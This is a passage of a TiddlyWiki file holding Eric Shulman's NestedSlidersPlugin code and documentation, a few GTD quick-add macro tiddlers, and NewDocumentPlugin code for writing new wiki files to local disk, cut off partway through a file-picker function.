				panel.style.display = show;
				panel.style.width=panel.defaultPanelWidth;
				panel.onmouseover=function(event) // mouseover on panel aligns floater position with button
					{ if (window.adjustSliderPos) window.adjustSliderPos(this.parentNode,this.button,this); }

				// render slider (or defer until shown) 
				w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
				if ((show=="block")||!deferred) {
					// render now if panel is supposed to be shown or NOT deferred rendering
					w.subWikify(blockquote?createTiddlyElement(panel,"blockquote"):panel,this.terminator);
					// align floater position with button
					if (window.adjustSliderPos) window.adjustSliderPos(place,btn,panel);
				}
				else {
					var src = w.source.substr(w.nextMatch);
					var endpos=findMatchingDelimiter(src,"+++","===");
					panel.setAttribute("raw",src.substr(0,endpos));
					panel.setAttribute("blockquote",blockquote?"true":"false");
					panel.setAttribute("rendered","false");
					w.nextMatch += endpos+3;
					if (w.source.substr(w.nextMatch,1)=="\n") w.nextMatch++;
				}
			}
		}
	}
)

function findMatchingDelimiter(src,starttext,endtext) {
	var startpos = 0;
	var endpos = src.indexOf(endtext);
	// check for nested delimiters
	while (src.substring(startpos,endpos-1).indexOf(starttext)!=-1) {
		// count number of nested 'starts'
		var startcount=0;
		var temp = src.substring(startpos,endpos-1);
		var pos=temp.indexOf(starttext);
		while (pos!=-1)  { startcount++; pos=temp.indexOf(starttext,pos+starttext.length); }
		// set up to check for additional 'starts' after adjusting endpos
		startpos=endpos+endtext.length;
		// find endpos for corresponding number of matching 'ends'
		while (startcount && endpos!=-1) {
			endpos = src.indexOf(endtext,endpos+endtext.length);
			startcount--;
		}
	}
	return (endpos==-1)?src.length:endpos;
}
//}}}
//{{{
window.onClickNestedSlider=function(e)
{
	if (!e) var e = window.event;
	var theTarget = resolveTarget(e);
	while (theTarget && theTarget.sliderPanel==undefined) theTarget=theTarget.parentNode;
	if (!theTarget) return false;
	var theSlider = theTarget.sliderPanel;
	var isOpen = theSlider.style.display!="none";

	// if SHIFT-CLICK, dock panel first (see [[MoveablePanelPlugin]])
	if (e.shiftKey && config.macros.moveablePanel) config.macros.moveablePanel.dock(theSlider,e);

	// toggle label
	theTarget.innerHTML=isOpen?theTarget.getAttribute("closedText"):theTarget.getAttribute("openedText");
	// toggle tooltip
	theTarget.setAttribute("title",isOpen?theTarget.getAttribute("closedTip"):theTarget.getAttribute("openedTip"));

	// deferred rendering (if needed)
	if (theSlider.getAttribute("rendered")=="false") {
		var place=theSlider;
		if (theSlider.getAttribute("blockquote")=="true")
			place=createTiddlyElement(place,"blockquote");
		wikify(theSlider.getAttribute("raw"),place);
		theSlider.setAttribute("rendered","true");
	}

	// show/hide the slider
	if(config.options.chkAnimate && (!hasClass(theSlider,'floatingPanel') || config.options.chkFloatingSlidersAnimate))
		anim.startAnimating(new Slider(theSlider,!isOpen,e.shiftKey || e.altKey,"none"));
	else
		theSlider.style.display = isOpen ? "none" : "block";

	// reset to default width (might have been changed via plugin code)
	theSlider.style.width=theSlider.defaultPanelWidth;

	// align floater panel position with target button
	if (!isOpen && window.adjustSliderPos) window.adjustSliderPos(theSlider.parentNode,theTarget,theSlider);

	// if showing panel, set focus to first 'focus-able' element in panel
	if (theSlider.style.display!="none") {
		var ctrls=theSlider.getElementsByTagName("*");
		for (var c=0; c<ctrls.length; c++) {
			var t=ctrls[c].tagName.toLowerCase();
			if ((t=="input" && ctrls[c].type!="hidden") || t=="textarea" || t=="select")
				{ try{ ctrls[c].focus(); } catch(err){;} break; }
		}
	}
	var cookie=theTarget.sliderCookie;
	if (cookie && cookie.length) {
		config.options[cookie]=!isOpen;
		if (config.options[cookie]!=theTarget.defOpen) window.saveOptionCookie(cookie);
		else window.removeCookie(cookie); // remove cookie if slider is in default display state
	}

	// prevent SHIFT-CLICK from being processed by browser (opens blank window... yuck!)
	// prevent clicks *within* a slider button from being processed by browser
	// but allow plain click to bubble up to page background (to close transients, if any)
	if (e.shiftKey || theTarget!=resolveTarget(e))
		{ e.cancelBubble=true; if (e.stopPropagation) e.stopPropagation(); }
	Popup.remove(); // close open popup (if any)
	return false;
}
//}}}
//{{{
// click in document background closes transient panels 
document.nestedSliders_savedOnClick=document.onclick;
document.onclick=function(ev) { if (!ev) var ev=window.event; var target=resolveTarget(ev);

	if (document.nestedSliders_savedOnClick)
		var retval=document.nestedSliders_savedOnClick.apply(this,arguments);
	// if click was inside a popup... leave transient panels alone
	var p=target; while (p) if (hasClass(p,"popup")) break; else p=p.parentNode;
	if (p) return retval;
	// if click was inside transient panel (or something contained by a transient panel), leave it alone
	var p=target; while (p) {
		if ((hasClass(p,"floatingPanel")||hasClass(p,"sliderPanel"))&&p.getAttribute("transient")=="true") break;
		p=p.parentNode;
	}
	if (p) return retval;
	// otherwise, find and close all transient panels...
	var all=document.all?document.all:document.getElementsByTagName("DIV");
	for (var i=0; i<all.length; i++) {
		 // if it is not a transient panel, or the click was on the button that opened this panel, don't close it.
		if (all[i].getAttribute("transient")!="true" || all[i].button==target) continue;
		// otherwise, if the panel is currently visible, close it by clicking it's button
		if (all[i].style.display!="none") window.onClickNestedSlider({target:all[i].button})
		if (!hasClass(all[i],"floatingPanel")&&!hasClass(all[i],"sliderPanel")) all[i].style.display="none";
	}
	return retval;
};
//}}}
//{{{
// adjust floating panel position based on button position
if (window.adjustSliderPos==undefined) window.adjustSliderPos=function(place,btn,panel) {
	if (hasClass(panel,"floatingPanel") && !hasClass(panel,"undocked")) {
		// see [[MoveablePanelPlugin]] for use of 'undocked'
		var rightEdge=document.body.offsetWidth-1;
		var panelWidth=panel.offsetWidth;
		var left=0;
		var top=btn.offsetHeight; 
		if (place.style.position=="relative" && findPosX(btn)+panelWidth>rightEdge) {
			left-=findPosX(btn)+panelWidth-rightEdge; // shift panel relative to button
			if (findPosX(btn)+left<0) left=-findPosX(btn); // stay within left edge
		}
		if (place.style.position!="relative") {
			var left=findPosX(btn);
			var top=findPosY(btn)+btn.offsetHeight;
			var p=place; while (p && !hasClass(p,'floatingPanel')) p=p.parentNode;
			if (p) { left-=findPosX(p); top-=findPosY(p); }
			if (left+panelWidth>rightEdge) left=rightEdge-panelWidth;
			if (left<0) left=0;
		}
		panel.style.left=left+"px"; panel.style.top=top+"px";
	}
}
//}}}
//{{{
// TW2.1 and earlier:
// hijack Slider stop handler so overflow is visible after animation has completed
Slider.prototype.coreStop = Slider.prototype.stop;
Slider.prototype.stop = function()
	{ this.coreStop.apply(this,arguments); this.element.style.overflow = "visible"; }

// TW2.2+
// hijack Morpher stop handler so sliderPanel/floatingPanel overflow is visible after animation has completed
if (version.major+.1*version.minor+.01*version.revision>=2.2) {
	Morpher.prototype.coreStop = Morpher.prototype.stop;
	Morpher.prototype.stop = function() {
		this.coreStop.apply(this,arguments);
		var e=this.element;
		if (hasClass(e,"sliderPanel")||hasClass(e,"floatingPanel")) {
			// adjust panel overflow and position after animation
			e.style.overflow = "visible";
			if (window.adjustSliderPos) window.adjustSliderPos(e.parentNode,e.button,e);
		}
	};
}
//}}}
/***
|Name|NestedSlidersPluginInfo|
|Source|http://www.TiddlyTools.com/#NestedSlidersPlugin|
|Documentation|http://www.TiddlyTools.com/#NestedSlidersPluginInfo|
|Version|2.4.9|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|documentation for NestedSlidersPlugin|
This plugin adds new wiki syntax for embedding 'slider' panels directly into tiddler content.
!!!!!Usage
<<<
//{{{
++++(cookiename)!!!!!^width^*@{{class{[label=key|tooltip][altlabel|alttooltip]}}}#panelID:>...
content goes here
===
//}}}
* ''"""+++""" (or """++++""") and """==="""''<br>marks the start and end of the slider definition, respectively.  When the extra {{{+}}} is used, the slider will be open when initially displayed.
* ''"""(cookiename)"""''<br>saves the slider opened/closed state, and restores this state whenever the slider is re-rendered.
* ''"""! through !!!!!"""''<br>displays the slider label using a formatted headline (Hn) style instead of a button/link style
* ''"""^width^ (or just ^)"""''<br>makes the slider 'float' on top of other content rather than shifting that content downward.  'width' must be a valid CSS value (e.g., "30em", "180px", "50%", etc.).  If omitted, the default width is "auto" (i.e., fit to content)
* ''"""*"""''<br>denotes "transient display": when a click occurs elsewhere in the document, the slider/floating panel will be automatically closed.  This is useful for creating 'pulldown menus' that automatically go away after they are used.  //Note: using SHIFT-click on a slider label will open/close that slider without triggering the automatic closing of any transient slider panels that are currently displayed, permitting ''temporary'' display of several transient panels at once.//
* ''"""@"""''<br>denotes "open on hover": the slider/floating panel will be automatically opened as soon as the mouse moves over the slider label, without requiring a click.
* ''"""{{class{[label=key|tooltip][altlabel|alttooltip]}}}"""''<br>uses label/tooltip/accesskey.  """{{class{...}}}""", """=key""", """|tooltip""" and """[altlabel|alttooltip]""" are optional.  'class' is any valid CSS class name, used to style the slider label text.  'key' must be a ''single letter only''.  altlabel/alttooltip specify alternative label/tooltip for use when slider/floating panel is displayed.  //Note: you can use HTML syntax within the label text to include HTML entities (e.g., {{{&raquo;}}} (&raquo;) or {{{&#x25ba;}}} (&#x25ba;), or even embedded images (e.g., {{{<img src="images/eric3.gif">}}}).//
* ''"""#panelID:"""''<br>defines a unique DOM element ID that is assigned to the panel element used to display the slider content.  This ID can then be used later to reposition the panel using the {{{<<DOM move id>>}}} macro (see [[DOMTweaksPlugin]]), or to access/modify the panel element through use of {{{document.getElementById(...)}}}) javascript code in a plugin or inline script.
* ''""">"""''<br>automatically adds blockquote formatting to slider content
* ''"""..."""''<br>defers rendering of closed sliders until the first time they are opened.
Notes:
*You can 'nest' sliders as deep as you like (see complex nesting example below), so that expandable 'tree-like' hierarchical displays can be created.
*Deferred rendering (...) can be used to offset processing overhead until actually needed. However, this may produce unexpected results in some cases.  Use with care.
* To make slider definitions easier to read and recognize when editing a tiddler, newlines immediately following the 'start slider' or preceding the 'end slider' sequences are automatically supressed so that excess whitespace is eliminated from the output.
<<<
!!!!!Examples
<<<
simple in-line slider: 
{{{
+++content===
}}}
+++content===
----
use a custom label and tooltip: 
{{{
+++[label|tooltip]content===
}}}
+++[label|tooltip]content===
----
content automatically blockquoted: 
{{{
+++>content===
}}}
+++>content===
----
all options (except cookie) //(default open, heading, sized floater, transient, open on hover, class, label/tooltip/key, blockquoted, deferred)//
{{{
++++!!!^30em^*@{{big{[label=Z|click or press Alt-Z to open]}}}>...
   content
===
}}}
++++!!!^30em^*@{{big{[label=Z|click or press Alt-Z to open]}}}>...
   content
===
----
complex nesting example:
{{{
+++[get info...=I|click for information or press Alt-I]
	put some general information here,
	plus a floating panel with more specific info:
	+++^10em^[view details...|click for details]
		put some detail here, which could in turn contain a transient panel,
		perhaps with a +++^25em^*[glossary definition]explaining technical terms===
	===
===
}}}
+++[get info...=I|click for information or press Alt-I]
	put some general information here,
	plus a floating panel with more specific info:
	+++^10em^[view details...|click for details]
		put some detail here, which could in turn contain a transient panel,
		perhaps with a +++^25em^*[glossary definition]explaining technical terms===
	===
===
----
embedded image as slider button
{{{
+++[<img src=images/eric3.gif>|click me!]>
	{{big{OUCH!}}}
===
}}}
+++[<img src=images/eric3.gif>|click me!]>
	{{big{OUCH!}}}
===
<<<
!!!!!Revisions
<<<
2008.11.15 2.4.9 in adjustNestedSlider(), don't make adjustments if panel is marked as 'undocked' (CSS class).  In onClickNestedSlider(), SHIFT-CLICK docks panel (see [[MoveablePanelPlugin]])
2008.11.13 2.4.8 in document.onclick(), if transient panel is not a sliderPanel or floatingPanel, hide it via CSS
2008.10.05 2.4.7 in onClickNestedSlider(), added try/catch around focus() call to prevent IE error if input field being focused on is currently not visible.
2008.09.07 2.4.6 added removeCookie() function for compatibility with [[CookieManagerPlugin]]
2008.06.07 2.4.5 in 'onmouseover' handler for 'open on hover' slider buttons, use call() method when invoking document.onclick function (avoids error in IE)
2008.06.07 2.4.4 changed default for chkFloatingSlidersAnimate to FALSE to avoid clipping problem on some browsers (IE).  Updated Morpher hijack (again) to adjust regular sliderPanel styles as well as floatingPanel styles.
2008.05.07 2.4.3 updated Morpher hijack to adjust floatingPanel styles after animation without affecting other animated elements (i.e. popups).  Also, updated adjustSliderPos() to account for scrollwidth and use core findWindowWidth().
2008.04.02 2.4.2 in onClickNestedSlider, handle clicks on elements contained //within// slider buttons (e.g., when using HTML to display an image as a slider button).
2008.04.01 2.4.1 open on hover also triggers document.onclick to close other transient sliders
2008.04.01 2.4.0 re-introduced 'open on hover' feature using "@" symbol
2008.03.26 2.3.5 in document.onclick(), if click is in popup, don't dismiss transient panel (if any)
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info tiddler
2007.12.28 2.3.4 added hijack for Animator.prototype.startAnimating().  Previously, the plugin code simply set the overflow to "visible" after animation.  This code tweak corrects handling of elements that were styled with overflow=hidden/auto/scroll before animation by saving the overflow style and then restoring it after animation has completed.
2007.12.17 2.3.3 use hasClass() instead of direct comparison to test for "floatingPanel" class.  Allows floating panels to have additional classes assigned to them (i.e., by AnimationEffectsPlugin).
2007.11.14 2.3.2 in onClickNestedSlider(), prevent SHIFT-click events from opening a new, empty browser window by setting "cancelBubble=true" and calling "stopPropagation()".  Note: SHIFT-click is still processed as a normal click (i.e., it toggles the slider panel display).  Also, using SHIFT-click will prevent 'transient' sliders from being automatically closed when another slider is opened, allowing you to *temporarily* display several transient sliders at once.
2007.07.26 2.3.1 in document.onclick(), propagate return value from hijacked core click handler to consume OR bubble up click as needed.  Fixes "IE click disease", whereby nearly every mouse click causes a page transition.
2007.07.20 2.3.0 added syntax for setting panel ID (#panelID:).  This allows individual slider panels to be repositioned within tiddler content simply by giving them a unique ID and then moving them to the desired location using the {{{<<DOM move id>>}}} macro.
2007.07.19 2.2.0 added syntax for alttext and alttip (button label and tooltip to be displayed when panel is open)
2007.07.14 2.1.2 corrected use of 'transient' attribute in IE to prevent (non-recursive) infinite loop
2007.07.12 2.1.0 replaced use of "*" for 'open/close on rollover' (which didn't work too well).  "*" now indicates 'transient' panels that are automatically closed if a click occurs somewhere else in the document.  This permits use of nested sliders to create nested "pulldown menus" that automatically disappear after interaction with them has been completed.  Also, in onClickNestedSlider(), use "theTarget.sliderCookie", instead of "this.sliderCookie" to correct cookie state tracking when automatically dismissing transient panels.
2007.06.10 2.0.5 add check to ensure that window.adjustSliderPanel() is defined before calling it (prevents error on shutdown when mouse event handlers are still defined)
2007.05.31 2.0.4 add handling to invoke adjustSliderPanel() for onmouseover events on slider button and panel.  This allows the panel position to be re-synced when the button position shifts due to changes in unrelated content above it on the page.  (thanks to Harsha for bug report)
2007.03.30 2.0.3 added chkFloatingSlidersAnimate (default to FALSE), so that slider animation can be disabled independent of the overall document animation setting (avoids strange rendering and focus problems in floating panels)
2007.03.01 2.0.2 for TW2.2+, hijack Morpher.prototype.stop so that "overflow:hidden" can be reset to "overflow:visible" after animation ends
2007.03.01 2.0.1 in hijack for Slider.prototype.stop, use apply() to pass params to core function
2006.07.28 2.0.0 added custom class syntax around label/tip/key syntax: {{{{{classname{[label=key|tip]}}}}}}
2006.07.25 1.9.3 when parsing slider, save default open/closed state in button element, then in onClickNestedSlider(), if slider state matches saved default, instead of saving cookie, delete it.  Significantly reduces the 'cookie overhead' when default slider states are used.
2006.06.29 1.9.2 in onClickNestedSlider(), when setting focus to first control, skip over type="hidden"
2006.06.22 1.9.1 added panel.defaultPanelWidth to save requested panel width, even after resizing has changed the style value
2006.05.11 1.9.0 added optional '^width^' syntax for floating sliders and '=key' syntax for setting an access key on a slider label
2006.05.09 1.8.0 in onClickNestedSlider(), when showing panel, set focus to first child input/textarea/select element
2006.04.24 1.7.8 in adjustSliderPos(), if floating panel is contained inside another floating panel, subtract offset of containing panel to find correct position
2006.02.16 1.7.7 corrected deferred rendering to account for use-case where show/hide state is tracked in a cookie
2006.02.15 1.7.6 in adjustSliderPos(), ensure that floating panel is positioned completely within the browser window (i.e., does not go beyond the right edge of the browser window)
2006.02.04 1.7.5 add 'var' to unintended global variable declarations to avoid FireFox 1.5.0.1 crash bug when assigning to globals
2006.01.18 1.7.4 only define adjustSliderPos() function if it has not already been provided by another plugin.  This lets other plugins 'hijack' the function even when they are loaded first.
2006.01.16 1.7.3 added adjustSliderPos(place,btn,panel,panelClass) function to permit specialized logic for placement of floating panels.  While it provides improved placement for many uses of floating panels, it exhibits a relative offset positioning error when used within *nested* floating panels.  Short-term workaround is to only adjust the position for 'top-level' floaters.
2006.01.16 1.7.2 added button property to slider panel elements so that slider panel can tell which button it belongs to.  Also, re-activated and corrected animation handling so that nested sliders aren't clipped by hijacking Slider.prototype.stop so that "overflow:hidden" can be reset to "overflow:visible" after animation ends
2006.01.14 1.7.1 added optional "^" syntax for floating panels.  Defines new CSS class, ".floatingPanel", as an alternative for standard in-line ".sliderPanel" styles.
2006.01.14 1.7.0 added optional "*" syntax for rollover handling to show/hide slider without requiring a click (Based on a suggestion by tw4efl)
2006.01.03 1.6.2 When using optional "!" heading style, instead of creating a clickable "Hn" element, create an "A" element inside the "Hn" element.  (allows click-through in SlideShowPlugin, which captures nearly all click events, except for hyperlinks)
2005.12.15 1.6.1 added optional "..." syntax to invoke deferred ('lazy') rendering for initially hidden sliders
removed checkbox option for 'global' application of lazy sliders
2005.11.25 1.6.0 added optional handling for 'lazy sliders' (deferred rendering for initially hidden sliders)
2005.11.21 1.5.1 revised regular expressions: if present, a single newline //preceding// and/or //following// a slider definition will be suppressed so start/end syntax can be place on separate lines in the tiddler 'source' for improved readability.  Similarly, any whitespace (newlines, tabs, spaces, etc.) trailing the 'start slider' syntax or preceding the 'end slider' syntax is also suppressed.
2005.11.20 1.5.0 added (cookiename) syntax for optional tracking and restoring of slider open/close state
2005.11.11 1.4.0 added !!!!! syntax to render slider label as a header (Hn) style instead of a button/link style
2005.11.07 1.3.0 removed alternative syntax {{{(((}}} and {{{)))}}} (so they can be used by other formatting extensions) and simplified/improved regular expressions to trim multiple excess newlines
2005.11.05 1.2.1 changed name to NestedSlidersPlugin
2005.11.04 1.2.0 added alternative character-mode syntax {{{(((}}} and {{{)))}}}
tweaked "eat newlines" logic for line-mode {{{+++}}} and {{{===}}} syntax
2005.11.03 1.1.1 fixed toggling of default tooltips ("more..." and "less...") when a non-default button label is used.  code cleanup, added documentation
2005.11.03 1.1.0 changed delimiter syntax from {{{(((}}} and {{{)))}}} to {{{+++}}} and {{{===}}}.  changed name to EasySlidersPlugin
2005.11.03 1.0.0 initial public release
<<<
Give teams an overview of the new features planned for version 3
<<newSavedTiddler title:'new Action' label:'+Action' tag:{{'Action Next [['+config.macros.dGSDList.getRealm()+']]'}}>>
<<newSavedTiddler title:'new Project' label:'+Project' tag:{{'Project Active [['+config.macros.dGSDList.getRealm()+']]'}}>>
/%<<newSavedTiddler title:'new Tickler' label:'+Tickler' tag:{{'Tickler Once [['+config.macros.dGSDList.getRealm()+']]'}}>>
%/<<calendarPopup '+Tickler' 'new Tickler'>>/% <-- experimental %/
<<newSavedTiddler title:'new Reference Item' label:'+Reference' tag:{{'Reference [['+config.macros.dGSDList.getRealm()+']]'}}>>
<slider QuickAdd>
<<processInbox>>
</slider>
<<popup Calendar [[<<tiddler CalendarWithTicklers$))]]>>
<<newSavedTiddler title:'new Action' label:'[+A]' tag:{{'Action Next [['+config.macros.mgtdList.getRealm()+']]'}}>>
<<newSavedTiddler title:'new Project' label:'[+P]' tag:{{'Project Active [['+config.macros.mgtdList.getRealm()+']]'}}>>
/%<<newSavedTiddler title:'new Tickler' label:'[+T]' tag:{{'Tickler Once [['+config.macros.mgtdList.getRealm()+']]'}}>>
%/<<calendarPopup '[+T]' 'new Tickler'>>/% <-- experimental %/
<<newSavedTiddler title:'new Reference Item' label:'[+R]' tag:{{'Reference [['+config.macros.mgtdList.getRealm()+']]'}}>>
<slider [Q]>
<<processInbox>>
</slider>
/***
|''Name:''|NewDocumentPlugin|
|''Source:''|http://www.TiddlyTools.com/#NewDocumentPlugin|
|''Author:''|Eric Shulman - ELS Design Studios|
|''License:''|[[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|''~CoreVersion:''|2.0.10|

Quickly create new TiddlyWiki documents from your existing document, with just one click! Use the {{{<<newDocument>>}}} macro to place a "new document" link into your sidebar/mainmenu/any tiddler (wherever you like). Select this command to automatically create a "new.html" document containing a specific set of tagged tiddlers. Optional parameters let you specify an alternate path/filename for the new file, or different tags to match. You can also indicate "ask" for either parameter, which will trigger a prompt for input when the command is selected.

!!!!!Usage
<<<
{{{<<newDocument label:text filename tag tag tag...>>}}}
{{{<<newDocument label:text filename all>>}}}
{{{<<newDocument label:text filename snap>>}}}
 where:
* ''label:text'' defines //optional// alternative link text (replaces default "new document" display)
* ''filename'' is any local path-and-filename. If no parameters are provided, the default is to create the file "new.html" in the current directory. If a filename is provided without a path (i.e., there is no "/" in the input), then the current directory is also assumed. Otherwise, this parameter is expected to contain the complete path and filename needed to write the file to your local hard disk. If ''ask'' is used in place of the filename parameter then, when the command link is selected, a message box will be automatically displayed so you can select/enter the path and filename.
* ''tag tag tag...'' is a list of one or more space-separated tags (use quotes or {{{[[]]}}} around tags that contain spaces). The new document will include all tiddlers that match at least one of the tags in the list. The default is to include tiddlers tagged with <<tag includeNew>>. The special value ''all'' may be used to match every tiddler (even those without tags). If ''ask'' is used in place of the tags then, when the command link is selected, a message box will be automatically displayed so you can enter the desired tags at that time.
* When the keyword ''snap'' is used in place of tags to match, the plugin generates a file containing the //rendered// CSS-and-HTML for all tiddlers currently displayed in the document.

Note: as of version 1.4.0 of this plugin, support for selecting tiddlers by using tag *expressions* has been replaced with simpler, more efficient "containsAny()" logic. To create new ~TiddlyWiki documents that contain only those tiddlers selected with advanced AND/OR/NOT Boolean expressions, you can use the filtering features provided by the ExportTiddlersPlugin (see www.TiddlyTools.com/#ExportTiddlersPlugin).
<<<
!!!!!Examples:
<<<
{{{<<newDocument>>}}}
equivalent to {{{<<newDocument new.htm includeNew systemTiddlers>>}}}
creates default "new.html" containing tiddlers tagged with either<<tag includeNew>>or<<tag systemTiddlers>>
try it: <<newDocument>>

{{{<<newDocument empty.html systemTiddlers>>}}}
creates "empty.html" containing only tiddlers tagged with<<tag systemTiddlers>>
//(reproduces old-style (pre 2.0.2) empty file)//
try it: <<newDocument empty.html systemTiddlers>>

{{{<<newDocument "label:create Import/Export starter" ask importexport>>}}}
save importexport tiddlers to a new file, prompts for path/file
try it: <<newDocument "label:create Import/Export starter" ask importexport>>

{{{<<newDocument ask ask>>}}}
prompts for path/file, prompts for tags to match
try it: <<newDocument ask ask>>

{{{<<newDocument ask all>>}}}
save all current TiddlyWiki contents to a new file, prompts for path/file
try it: <<newDocument ask all>>

{{{<<newDocument ask snap>>}}}
generates snapshot of currently displayed document, prompts for path/file
try it: <<newDocument ask snap>>

<<<
!!!!!Installation
<<<
Import (or copy/paste) the following tiddlers into your document:
''NewDocumentPlugin'' (tagged with <<tag systemConfig>>)
<<<
!!!!!Revision History
<<<
''2006.08.03 [1.4.3]'' in promptForFilename(), for IE (WinXP only), added handling for UserAccounts.CommonDialog
''2006.07.29 [1.4.2]'' in onClickNewDocument(), okmsg display is now linked to newly created file
''2006.07.24 [1.4.1]'' in promptForFilename(), check for nsIFilePicker.returnCancel to allow nsIFilePicker.returnOK **OR** nsIFilePicker.returnReplace to be processed.
''2006.05.23 [1.4.0]'' due to very poor performance, support for tag *expressions* has been removed, in favor of a simpler "containsAny()" scan for tags.
''2006.04.09 [1.3.6]'' in onClickNewDocument, added call to convertUnicodeToUTF8() to better handle international characters.
''2006.03.15 [1.3.5]'' added nsIFilePicker() handler for selecting filename in moz-based browsers. IE and other non-moz browsers still use simple prompt() dialog
''2006.03.15 [1.3.0]'' added "label:text" param for custom link text. added special "all" filter parameter for "save as..." handling (writes all tiddlers to output file)
''2006.03.09 [1.2.0]'' added special "snap" filter parameter to generate and write "snapshot" files containing static HTML+CSS for currently rendered document.
''2006.02.24 [1.1.2]'' Fix incompatiblity with TW 2.0.5 by removing custom definition of getLocalPath() (which is now part of TW core)
''2006.02.03 [1.1.1]'' concatentate 'extra' params so that tag expressions don't have to be quoted. moved all text to 'formatted' string definitions for easier translation.
''2006.02.03 [1.1.0]'' added support for tag EXPRESSIONS. plus improved documentation and code cleanup
''2006.02.03 [1.0.0]'' Created.
<<<
!!!!!Credits
<<<
This feature was developed by EricShulman from [[ELS Design Studios|http:/www.elsdesign.com]]
<<<
!!!!!Code
***/
//{{{
version.extensions.newDocument = {major: 1, minor: 4, revision: 3, date: new Date(2006,8,3)};

config.macros.newDocument = {
 newlabel: "new document",
 newprompt: "Create a new TiddlyWiki 'starter' document",
 newdefault: "new.html",
 allparam: "all",
 saveaslabel: "save as...",
 saveasprompt: "Save current TiddlyWiki to a different file",
 snapparam: "snap",
 snaplabel: "create a snapshot",
 snapprompt: "Create a 'snapshot' of the current TiddlyWiki display",
 snapdefault: "snapshot.html",
 askparam: "ask",
 labelparam: "label:",
 fileprompt: "Please enter a filename",
 filter: "includeNew",
 filterprompt: "Match one or more tags:\n(space-separated, use [[...]] around tags containing spaces)",
 filtererrmsg: "Error in tag filter '%0'",
 snapmsg: "Document snapshot written to %1",
 okmsg: "%0 tiddlers written to %1",
 failmsg: "An error occurred while creating %0"
};

config.macros.newDocument.handler = function(place,macroName,params) {

 var path=getLocalPath(document.location.href);
 var slashpos=path.lastIndexOf("/"); if (slashpos==-1) slashpos=path.lastIndexOf("\\"); 
 if (slashpos!=-1) path = path.substr(0,slashpos+1); // remove filename from path, leave the trailing slash

 if (params[0] && params[0].substr(0,config.macros.newDocument.labelparam.length)==config.macros.newDocument.labelparam)
 var label=params.shift().substr(config.macros.newDocument.labelparam.length)
 var filename=params.shift(); if (!filename) filename=config.macros.newDocument.newdefault;
 if (params[0]==config.macros.newDocument.snapparam) {
 if (!label) var label=config.macros.newDocument.snaplabel;
 var prompt=config.macros.newDocument.snapprompt;
 var defaultfile=config.macros.newDocument.snapdefault;
 }
 if (params[0]==config.macros.newDocument.allparam) {
 if (!label) var label=config.macros.newDocument.saveaslabel;
 var prompt=config.macros.newDocument.saveasprompt;
 var defaultfile=getLocalPath(document.location.href);
 var slashpos=defaultfile.lastIndexOf("/"); if (slashpos==-1) slashpos=defaultfile.lastIndexOf("\\");
 if (slashpos!=-1) defaultfile=defaultfile.substr(slashpos+1); // get filename only
 }
 if (!prompt) var prompt=config.macros.newDocument.newprompt;
 if (!label) var label=config.macros.newDocument.newlabel;
 if (!defaultfile) var defaultfile=config.macros.newDocument.newdefault;

 var btn=createTiddlyButton(place,label,prompt,onClickNewDocument);
 btn.path=path;
 btn.file=filename;
 btn.defaultfile=defaultfile;
 btn.filter=params.length?params:[config.macros.newDocument.filter]; 
}

// IE needs explicit global scoping for functions called by browser events
window.onClickNewDocument=function(e)
{
 if (!e) var e = window.event; var btn=resolveTarget(e);

 // assemble document content, write file, report result
 var okmsg=config.macros.newDocument.okmsg;
 var failmsg=config.macros.newDocument.failmsg;
 var count=0;
 var out="";
 if (btn.filter[0]==config.macros.newDocument.snapparam) { // HTML+CSS snapshot
 var styles=document.getElementsByTagName("style");
 out+="<html>\n<head>\n<style>\n";
 for(var i=0; i < styles.length; i++)
 out +="/* stylesheet from tiddler:"+styles[i].getAttribute("id")+" */\n"+styles[i].innerHTML+"\n\n";
 out+="</style>\n</head>\n<body>\n\n"+document.getElementById("contentWrapper").innerHTML+"\n\n</body>\n</html>";
 okmsg=config.macros.newDocument.snapmsg;
 } else { // TW starter document
 // get the TiddlyWiki core code source
 var sourcefile=getLocalPath(document.location.href);
 var source=loadFile(sourcefile);
 if(source==null) { alert(config.messages.cantSaveError); return null; }
 var posOpeningDiv=source.indexOf(startSaveArea);
 var posClosingDiv=source.lastIndexOf(endSaveArea);
 if((posOpeningDiv==-1)||(posClosingDiv==-1)) { alert(config.messages.invalidFileError.format([sourcefile])); return; }
 // get the matching tiddler divs
 var match=btn.filter;
 if (match[0]==config.macros.newDocument.askparam) {
 var newfilt=prompt(config.macros.newDocument.filterprompt,config.macros.newDocument.filter);
 if (!newfilt) return; // cancelled by user
 match=newfilt.readMacroParams();
 }
 var storeAreaDivs=[];
 var tiddlers=store.getTiddlers('title');
 for (var i=0; i<tiddlers.length; i++)
 if (match[0]==config.macros.newDocument.allparam || (tiddlers[i].tags && tiddlers[i].tags.containsAny(match)) )
 storeAreaDivs.push(tiddlers[i].saveToDiv());
 out+=source.substr(0,posOpeningDiv+startSaveArea.length);
 out+=convertUnicodeToUTF8(storeAreaDivs.join("\n"))+"\n\t\t";
 out+=source.substr(posClosingDiv);
 count=storeAreaDivs.length;
 }
 // get output path/filename
 var filename=btn.file;
 if (filename==config.macros.newDocument.askparam)
 filename=promptForFilename(config.macros.newDocument.fileprompt,btn.path,btn.defaultfile);
 if (!filename) return; // cancelled by user
 // if specified file does not include a path, assemble fully qualified path and filename
 var slashpos=filename.lastIndexOf("/"); if (slashpos==-1) slashpos=filename.lastIndexOf("\\");
 if (slashpos==-1) filename=btn.path+filename;
 var ok=saveFile(filename,out);
 var msg=ok?okmsg.format([count,filename]):failmsg.format([filename]);
 var link=ok?"file:///"+filename.replace(regexpBackSlash,'/'):""; // change local path to link text
 clearMessage(); displayMessage(msg,link);
 e.cancelBubble = true; if (e.stopPropagation) e.stopPropagation(); return(false);
}
//}}}

//{{{
function promptForFilename(msg,path,file)
{
 if(window.Components) { // moz
 try {
 netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
 var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
 var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
 picker.init(window, msg, nsIFilePicker.modeSave);
 var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
 thispath.initWithPath(path);
 picker.displayDirectory=thispath;
 picker.defaultExtension='html';
